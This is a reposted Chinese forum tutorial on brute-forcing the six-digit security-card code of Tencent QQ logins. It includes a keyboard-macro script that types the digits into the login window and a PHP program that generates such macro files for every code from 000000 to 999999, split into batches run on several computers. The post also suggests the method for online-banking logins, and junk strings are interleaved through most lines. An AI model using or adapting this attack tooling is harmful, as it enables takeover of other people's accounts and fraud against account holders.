|
|
密保卡的设置挺复杂,采用A-J的纵坐标 与 1-8的模坐标中,放着两位任意的数字。而QQ登录的时候,是采用这样的三组组合。如果我们尝试由这些坐标点中的数字去发现规律,几乎是不可能的,我想这种思路也是导致许多想破解的人,立马放弃的原因。 首先来手工来登录,密保卡试一下,我们可以发现,实际上我们在破解这个密码过程中,可以完全忽略那三组的坐标组合,我们可以认真看到,密保卡,真正来讲只是要求6这个数字(0-9)。这样子,那我们的暴力破解就可以换一种思路了,那就是我们尝试用6个数字的暴力去跑那些密码框就行了。而且腾讯这个密保卡,没有限制尝试登录的次数。正好可以用来跑暴力的。分析的结果,就是这个密保卡的密码,我们只要让密码在这个区间“0 – 0 - 0 – 0 – 0 - 0 ====> 9-9-9-9-9-9”进行暴力输入验证就可以了。 现在已经锁定了,暴力破解的方案,那要采用什么工具呢?有想祭起delphi,搞一个窗口句柄跟踪,然后对这几个窗口进行,暴力破解的。只不过最近一直在用FreeBSD与C,对于Windows平台上面的编程真的一点兴趣都没有了? 想到的思路就是采用“按键精灵”软件,我们先手工录制一个“000000”的按键脚本,然后再用其他程序,写一个0-1000000的循环,将这里面的“000000”的值由“000000”到“999999”区间来代替,这样子就可以利用按键精灵的这个脚本来进行暴力的破解。下面发布一个按键精灵的脚本。
% O6 U$ _' M$ e
1 Q6 Y9 z& i# L- `) V, |5 l& y( V8 Q; m5 T& F5 `* d
下面是“000000”的按键脚本% b) x* t7 c& Z+ D! I
MoveTo 817 320
; N8 d9 ~* C- \2 WMoveTo 817 318, G9 \1 m* a- W, I( x' H ~$ p, q
MoveTo 815 3174 C8 S3 j( t/ C
MoveTo 811 3158 h3 p7 T1 C w8 Z; e
MoveTo 807 312
( X) g& }# Q P6 f! W$ \MoveTo 803 3095 N# T, s7 k( n
MoveTo 801 3073 ^; d: g8 N; V
MoveTo 799 305! G" t+ N3 X: ]9 H5 |, r& h
MoveTo 797 302
8 b. j4 g4 N' b }# _MoveTo 796 300
# ]' m& I- d4 C DMoveTo 793 296
' \6 C0 A9 q) B6 _MoveTo 791 294
: V0 C5 Y$ W' {# c3 D8 IMoveTo 788 291, d4 p G+ `' M- M. D6 O% S% O
MoveTo 785 289
4 T$ ]7 c. N; ?, sMoveTo 783 287
2 T: i# v6 P8 d, L6 CMoveTo 779 285
# C2 J$ W: Z( O, j1 N/ dMoveTo 749 243
% e9 B6 x9 _" i2 |* `/ m1 tLeftClick 1
- u+ ^# c& b4 {Delay 2063
! o. a! M- T& Y4 M# c7 P+ ^# C- lKeyDown 48 1 这是第一位密码的按下
' W5 u* _' `, z' M2 b1 h, F) nDelay 78
0 k! ?0 M0 e* M" h7 l4 GKeyUp 48 1 这是第一位密码的弹起
$ K. f6 K! e# N& R7 UDelay 172% }! Q$ u4 T# n
KeyDown 48 1 这是第二位密码的按下" ] H3 T& G: o' y! B J, O
Delay 78
& t- A3 ~' f0 e) |) N: jKeyUp 48 1 这是第二位密码的弹起
: l% H7 H4 L2 y2 F5 zDelay 484& m; X c! n. e* z7 H/ C
KeyDown 48 1 这是第三位密码的按下' f4 I% Q# W% L
Delay 633 a& m% h4 l7 k/ q: f4 R
KeyUp 48 1 这是第三位密码的弹起
' J3 a1 S: _( CDelay 156
* A. s5 v* _0 e: `$ c4 qKeyDown 48 1 这是第四位密码的按下4 T, Y+ n: s6 A/ y
Delay 940 Q) K% c0 K$ p" C
KeyUp 48 1 这是第四位密码的弹起
( Y! V Y7 k4 }# f8 F& ODelay 687
8 }9 c2 X! i3 OKeyDown 48 1 这是第五位密码的按下
% w* U! J+ E+ S; Y( B1 NDelay 78
0 a. p C; h* q' J2 \& i! _% U) F3 NKeyUp 48 1 这是第五位密码的弹起% ?* a, {4 D8 J$ `" H2 S
Delay 985
6 w- d* O* w; G' F% YKeyDown 48 1 这是第六位密码的按下' M% h. p) @! E6 y4 R( k' A( x
Delay 93
# g5 `) Z, k0 rKeyUp 48 1 这是第六位密码的弹起1 Q0 _( t! }" Q/ ^ t
MoveTo 952 286$ f2 {, C4 v# F: o! t4 x5 T& Z
MoveTo 966 287$ l1 L/ f# {# I) W. l
MoveTo 980 289 Q2 }% r$ b3 a' ]6 x- g0 K
MoveTo 986 291$ ]- n# R7 r2 E) K2 ]
MoveTo 990 292
0 p' S8 t: e# {; ~MoveTo 994 292; u" \1 P+ O8 y0 U7 z' f
MoveTo 996 292
: H9 D9 r9 U' P6 R# qMoveTo 997 292
u% A! l( l, `- [) W' Q: \MoveTo 998 292
1 A# _8 W7 V F, W6 {( H1 vMoveTo 999 2935 [; x- y$ q6 v7 ~& c7 W- I8 J
MoveTo 999 294 {& K* Q m6 m4 K) y
MoveTo 945 309
( U# b5 r$ d1 N3 J+ pMoveTo 943 309+ _; Y. x9 E# J9 F
MoveTo 915 306* L1 U2 |5 S! F. X+ H" r
Delay 10638 ~7 l7 T# h' _3 v" t
LeftClick 19 I) j7 ]' c. @
Delay 26570 e6 h1 c4 J }- e' V q
LeftClick 1 N ~* a2 v1 Q3 P( _% c
MoveTo 871 294
4 ]0 x7 x" g* W: lMoveTo 867 293
& _1 M6 u2 R8 M( W: z' t9 p! e* mMoveTo 862 2910 _. k1 |" a/ j6 Y5 q
MoveTo 857 289
* U% c+ A. h$ J& b8 {! J+ kMoveTo 853 288: q) T9 [5 z5 {& b5 I# } E- X8 F" `
MoveTo 849 287
, `( ^9 k8 `+ s& ~# yMoveTo 844 284
) N- m p7 [, ?5 Z( xMoveTo 744 244
, G" [" Z) f: x+ z& X$ Y% O- d. i( ODelay 46410 E/ ^- o% O/ T( L- a) O% l R
LeftClick 1, i8 ~& {( u7 @* y* q( U
MoveTo 612 261, b; f4 O7 p/ P; S8 f: ~
/ o; T4 i2 |0 ^' W7 z, a2 rCrackQQ.php这个是用来生成暴力破解脚本的php代码
) t' A# [( ~* \4 g3 h) P. v+ o6 |<?php
6 l4 j+ ]3 W( q% ~! W% }0 Qset_time_limit(0);
7 a1 R( N& h8 j2 e6 a$myfile = fopen('QQCrack.txt','w+');5 P4 C& b0 ] |6 n- {/ c- ^
for($pwd=0;$pwd<1000000;$pwd++)
# M; \5 S0 z7 r& g{
* M7 y. ` s( Z* A# K0 I% z% s( s if($pwd<=9)) t/ p; n3 W( u: a( k' L9 r
{
7 i9 b; v! E; h5 M4 b1 ?2 @- V" Q$pwd_1 = $pwd;! m5 A f' @8 \9 d! x! ~
$pwd_2 = 0;2 |& f% M1 W. `" L4 O+ V
$pwd_3 = 0;" e7 q) g4 d. R: ~2 [2 w9 ` w
$pwd_4 = 0;( c$ j3 s+ i$ H: X( w( C, f+ y7 i
$pwd_5 = 0;: R2 s6 Y2 f7 N. T$ l
$pwd_6 = 0;$ V, Z4 ?/ C9 t
}
8 f4 U5 ]0 D0 i" [$ [ if($pwd>9 && $pwd<=99)
$ G) H; e+ H% N8 |& E2 U {' d J5 v5 }) {
$pwd_1 = substr($pwd,1,1);
, l7 I7 b) M% {. J% v- r; t $pwd_2 = substr($pwd,0,1);$ Q& ^$ G' C- i/ r
$pwd_3 = 0;$ H9 E* W3 D& u! E
$pwd_4 = 0;+ w) \3 x h4 e2 }- e
$pwd_5 = 0;
% z& R1 ^( P: l' e1 m! V$pwd_6 = 0;
0 G# M9 m" y( g- E+ D }: g$ c3 o9 w8 \& \1 S
if($pwd>99 && $pwd<=999)
b& U0 A4 S6 r7 v: v {8 E/ Q) R4 q) t" d8 l2 q, t2 ^% g
$pwd_1 = substr($pwd,2,1);" W7 }4 @ Q2 W+ p6 C+ r
$pwd_2 = substr($pwd,1,1);3 i4 |) n7 c6 g/ n+ |& e( O$ ~
$pwd_3 = substr($pwd,0,1);
. j" X" ^# U0 Q2 o5 j3 C" h( Y5 g8 r$pwd_4 = 0;
% u, s$ m' _' P) U W7 `$pwd_5 = 0;$ U8 T3 m/ ?: f9 v7 ~( W5 p
$pwd_6 = 0;
$ U) f6 P' l, Y" r% P: R, \ }% n; O* _0 v* f* N- F2 c! P
if($pwd>999 && $pwd<=9999)
% k8 D; F) r2 M7 T3 V& B. p( K {' A5 H$ N1 k0 \
$pwd_1 = substr($pwd,3,1);1 C4 L2 z Y3 T
$pwd_2 = substr($pwd,2,1); H* U2 I0 N# e) ^* d, f
$pwd_3 = substr($pwd,1,1);
+ L9 W' B1 U# ?$pwd_4 = substr($pwd,0,1);
% V( F, {; L. m5 G# H% p3 `: u$pwd_5 = 0;
6 m `% e# @# a* @# u$pwd_6 = 0;7 `! _- [+ y& e g
}: A1 W* ]+ z; J/ e
if($pwd>9999 && $pwd<=99999)
$ `( j' A% m! O* w. K {" `) x* A: b+ E" p/ P2 e$ k
$pwd_1 = substr($pwd,4,1);* M: K r% S+ d$ Q3 S0 E. B* E; v6 R
$pwd_2 = substr($pwd,3,1);! Q9 Q, c6 q9 \8 w: G( d
$pwd_3 = substr($pwd,2,1);
2 F: Q( ~! G) Z/ I$pwd_4 = substr($pwd,1,1);
, s, g8 \ y& p% z* O& p6 [+ C, ?$pwd_5 = substr($pwd,0,1);# v( M' I5 W+ D1 x0 j. I
$pwd_6 = 0;
# S: T$ Y6 h/ F8 h3 \9 b5 e7 ]# m }' O- W( N, V6 S9 o2 t" t3 z
if($pwd>99999 && $pwd<=999999)
8 S+ l5 j( i9 f# f) T7 @ {
$ ]! N' o2 Q6 v$pwd_1 = substr($pwd,5,1);" V8 ?2 b* x& e) }$ y, t
$pwd_2 = substr($pwd,4,1);
/ i. @1 @ g9 l$ O9 w' y$ s6 z$pwd_3 = substr($pwd,3,1);; G# M, D7 [4 v$ L, x
$pwd_4 = substr($pwd,2,1);
0 |. s _4 N9 W2 z& H- h( r$pwd_5 = substr($pwd,1,1);
1 U9 g I; W5 ?3 J- o$pwd_6 = substr($pwd,0,1);
5 `9 Z( P, j8 i# o! k: h }( Q, ^5 v# u7 ]& G9 v5 B
- |6 C7 V2 m* u) e //echo $pwd_6,"-",$pwd_5,"-",$pwd_4,"-",$pwd_3,"-",$pwd_2,"-",$pwd_1,"<br>"; b* R# O9 D" O+ C5 W" n$ O0 P
//echo ord($pwd_6),"-",ord($pwd_5),"-",ord($pwd_4),"-",ord($pwd_3),"-",ord($pwd_2),"-",ord($pwd_1),"<br>";9 v9 ?9 y1 @+ ~' e
! E) }! g% d& B
$ord_pwd_1 = ord($pwd_1);
0 l( U6 k9 f, O$ L. t3 p) ? $ord_pwd_2 = ord($pwd_2);
2 [/ Y5 } f4 K2 t1 v l, h% P% j $ord_pwd_3 = ord($pwd_3);
8 R. L& @% j/ @; d6 E4 W $ord_pwd_4 = ord($pwd_4);1 a1 ^1 B! V& t6 ~) t+ J$ r+ z7 e: E
$ord_pwd_5 = ord($pwd_5);
6 c3 I; z: R, |( O! h $ord_pwd_6 = ord($pwd_6);! g% I, y/ S, E3 D( h# s
~8 L+ o$ N5 D' ^ fwrite($myfile,"MoveTo 817 320\n");: r9 }& u. P! Z/ s. {
fwrite($myfile,"MoveTo 817 318\n");: }: g o. X5 T$ F; q
fwrite($myfile,"MoveTo 815 317\n");
& y) H' U0 ^7 u. {$ z fwrite($myfile,"MoveTo 811 315\n");" b. g& I: r7 Y
fwrite($myfile,"MoveTo 807 312\n");
8 R5 ^% q% d7 ?. n4 U fwrite($myfile,"MoveTo 803 309\n");" H" f6 S, b! ]* y- n
fwrite($myfile,"MoveTo 801 307\n");4 L' o$ y+ s3 z* @4 _+ \( ~" s
fwrite($myfile,"MoveTo 799 305\n");) K, N% w2 Z! p, I# Z/ b8 j
fwrite($myfile,"MoveTo 797 302\n");& U" L3 c/ \' [
fwrite($myfile,"MoveTo 796 300\n"); u" e. O" G$ S
fwrite($myfile,"MoveTo 793 296\n");, D- v) a$ `6 k# @% T
fwrite($myfile,"MoveTo 791 294\n");( O/ Z9 U' j" A$ s
fwrite($myfile,"MoveTo 788 291\n");! P8 u3 g. N9 C
fwrite($myfile,"MoveTo 785 289\n");
; Y i: ?) @6 c7 u- n$ v fwrite($myfile,"MoveTo 783 287\n");
# j2 H! X# F0 `/ Z. ]9 }6 ~; F fwrite($myfile,"MoveTo 779 285\n");
% [* X* u1 o# r0 l% t* q fwrite($myfile,"MoveTo 749 243\n");
3 i, h. L2 c! ~' [9 ~' e fwrite($myfile,"LeftClick 1\n");4 Z* D" J8 [9 a; t
fwrite($myfile,"Delay 2063\n");$ o- ~# _( s8 x: ^
fwrite($myfile,"KeyDown $ord_pwd_6 1\n"); //第一位密码按下
$ n( e6 s" |$ _( G v fwrite($myfile,"Delay 78\n");5 b0 b/ M* s( E: @
fwrite($myfile,"KeyUp $ord_pwd_6 1\n"); //第一位密码弹起
# L' n& U' c9 }& B; D8 k2 x! {% A6 k fwrite($myfile,"Delay 172\n");3 _' w2 Q: ^1 z7 Z) K) c0 C/ V7 o6 G8 f
fwrite($myfile,"KeyDown $ord_pwd_5 1\n"); //第二位密码按下+ V6 _. D7 N4 y+ W1 e$ j
fwrite($myfile,"Delay 78\n");& h. j% M, t7 G+ d& n+ S7 o9 T
fwrite($myfile,"KeyUp $ord_pwd_5 1\n"); //第二位密码弹起
# {6 i6 X8 {/ F) I% a fwrite($myfile,"Delay 484\n");' x% X! Q* Y+ L, L
fwrite($myfile,"KeyDown $ord_pwd_4 1\n"); //第三位密码按下9 n9 i r* A9 e
fwrite($myfile,"Delay 63\n");) `1 `; d8 A; k0 X2 V& h! P
fwrite($myfile,"KeyUp $ord_pwd_4 1\n"); //第三位密码弹起
' F2 T+ b; \) C1 {9 F fwrite($myfile,"Delay 156\n");( ] ?1 `4 i x
fwrite($myfile,"KeyDown $ord_pwd_3 1\n"); //第四位密码按下
h5 r6 r4 G5 H4 W: c" d fwrite($myfile,"Delay 94\n");& H; F. v+ @2 d: F' i1 O
fwrite($myfile,"KeyUp $ord_pwd_3 1\n"); //第四位密码弹起1 V- `& p7 }8 ~4 K- q
fwrite($myfile,"Delay 687\n");4 @! u1 W+ y0 g7 H
fwrite($myfile,"KeyDown $ord_pwd_2 1\n"); //第五位密码按下) u% ?7 ~+ V" ]) A
fwrite($myfile,"Delay 78\n");
9 _5 f/ v" S/ [6 R/ Y fwrite($myfile,"KeyUp $ord_pwd_2 1\n"); //第五位密码弹起
# u; K. ^- i5 `1 M& { fwrite($myfile,"Delay 985\n");
! J" R' A0 g. N# w fwrite($myfile,"KeyDown $ord_pwd_1 1\n"); //第六位密码按下
' U7 L& b# x9 s8 `6 t: w) r fwrite($myfile,"Delay 93\n");1 Q9 W; D1 q5 Y
fwrite($myfile,"KeyUp $ord_pwd_1 1\n"); //第六位密码弹起
9 B' ?* A6 O9 Q* @& h2 o. D fwrite($myfile,"MoveTo 952 286\n");
& ] z- p# s0 m6 e# h4 L0 g fwrite($myfile,"MoveTo 966 287\n");
' r) x% R9 ?" N3 S fwrite($myfile,"MoveTo 980 289\n");1 R" l1 c& n: |) P4 c
fwrite($myfile,"MoveTo 986 291\n");
0 Z" W+ G# O# y fwrite($myfile,"MoveTo 990 292\n");
`: a; M/ X- x7 Y+ O( r7 t0 Z: y fwrite($myfile,"MoveTo 994 292\n");) P; J! U' S+ P( O
fwrite($myfile,"MoveTo 996 292\n");
; M2 I- X7 U; x fwrite($myfile,"MoveTo 997 292\n");/ l, n$ Y( P/ M6 e
fwrite($myfile,"MoveTo 998 292\n");
* r' C. M J5 K. Z3 N; T: Z fwrite($myfile,"MoveTo 999 293\n");1 O2 \" |- D, b! Y
fwrite($myfile,"MoveTo 999 294\n");* w+ Y5 X3 K( e% i- N* B
fwrite($myfile,"MoveTo 945 309\n");
`5 [+ A$ z" R4 v fwrite($myfile,"MoveTo 943 309\n");9 K' W1 Y9 w' }4 ~* R
fwrite($myfile,"MoveTo 915 306\n");2 W5 X2 n. Y3 s: g3 T! N8 t
fwrite($myfile,"Delay 1063\n");
7 }0 `2 A$ W2 b; i! O7 ~ fwrite($myfile,"LeftClick 1\n");
n& y" n. s( T2 k/ n; ^ fwrite($myfile,"Delay 2657\n");6 Z& Y e+ d+ k9 b. g
fwrite($myfile,"LeftClick 1\n");
+ z& A) u9 i; a- t: [ fwrite($myfile,"MoveTo 871 294\n");9 v, z% z! Y* _& l& r( k$ i
fwrite($myfile,"MoveTo 867 293\n");
9 ^# Q3 @- s# {" ]) w0 l fwrite($myfile,"MoveTo 862 291\n");; i q K( _+ ^3 B0 \ S9 S$ q, \* N
fwrite($myfile,"MoveTo 857 289\n");
; E7 v# }! M8 A0 q fwrite($myfile,"MoveTo 853 288\n");
6 w; n3 s9 z5 J2 ]7 } fwrite($myfile,"MoveTo 849 287\n");
8 h5 x. k" F4 i' K2 p fwrite($myfile,"MoveTo 844 284\n");
1 r% |5 W# `$ G( E" g: l fwrite($myfile,"MoveTo 744 244\n");
& ]' f0 y. ~1 [7 _8 o8 w* @1 M fwrite($myfile,"Delay 4641\n");
A5 _; c! Z9 R& x/ I! d: m4 ?5 m fwrite($myfile,"LeftClick 1\n");
/ u, f {7 ^) k: _& A fwrite($myfile,"MoveTo 612 261\n");# y- L+ b! j6 x8 _7 _% C
}. y0 s5 m5 z! J. y% e- p6 O1 W7 r
fclose($myfile);
. d+ f2 C6 ^2 {" \+ [: d?>
; G7 X) K. e1 u1 {1 x D# ], o& v注意,这个脚本生成暴力破解脚本QQCrack.txt达到900M左右了,这样子我们只要将这个脚本拷贝到按键精灵的目录下就可以了调用。现在唯一担心的就是按键精灵,是否直接这么多行的脚本了。
& ~# I" ^' G" H; A8 I# f
6 o" a( w! r3 D; A9 L4. 严重的情况发生了,生成的这个暴力脚本太大了,连EditPlus打开都出错了,看来按键精灵也必须会出错的。甚至用Word打开,也只能支持32M大小的文件。看来不能一下子生成的暴力破解文件。那只能限制数据的范围来生成不同段的暴力文件了。就是可以将CrackQQ.php文件中的“for($pwd=0;$pwd<1000000;$pwd++)”这个代码的范围,修改成2 R$ Z ~: m6 v8 @4 T$ {' F$ z& _9 g
“for($pwd=0;$pwd<10000;$pwd++)”这样子的一个个段,分段生成不同的暴力文件,然后再将这些分段的暴力的文件,拷贝到不同的计算机上面,进行分段的暴力输入与暴力破解的。1 V) O$ X$ Q4 T- H" ~/ x6 z/ T
在这个生成暴力破解的文件过程中,建议采用FireFox浏览器来读取php代码,本人是将这个php脚本拷贝到FreeBSD下面,然后打开FireFox浏览器来读取php的。 [& n/ \0 V0 w2 b
* G5 h0 A0 I% A9 x4 ~. y
& J. n: s$ U! _+ l5. 生成10000次的暴力破解的文件,竟然需要9M的大小。如果这样子大小,按最早生成的900M,就需要将暴力破解的文件,分成100批进行暴力文件生成与分批运算破解的。虽然这个过程麻烦,不过总算是完全实现了暴力破解的全过程。
" h! U; G2 h3 @# t2 S" t8 l8 b/ W' o" d- i
当然采用这种方法,实际上也可以用来对某些在线银行的密码登录暴力破解提供参考思路的.
( t/ ~! I. A" A- W! l6 M* q3 A. a7 L# a% O
PS:本文为转载自 智导网络 作者:林峰
, V3 y* |: e+ G4 N4 q; j% x
: {5 l7 g/ B9 r3 e3 E4 L5 d2 c* o
f- `4 E; \! N3 U本人未曾测试过该脚本是否有效,但是这种方法可以为各位提供密保卡的破解思路! |
+ f7 V; i4 c2 I/ g |
|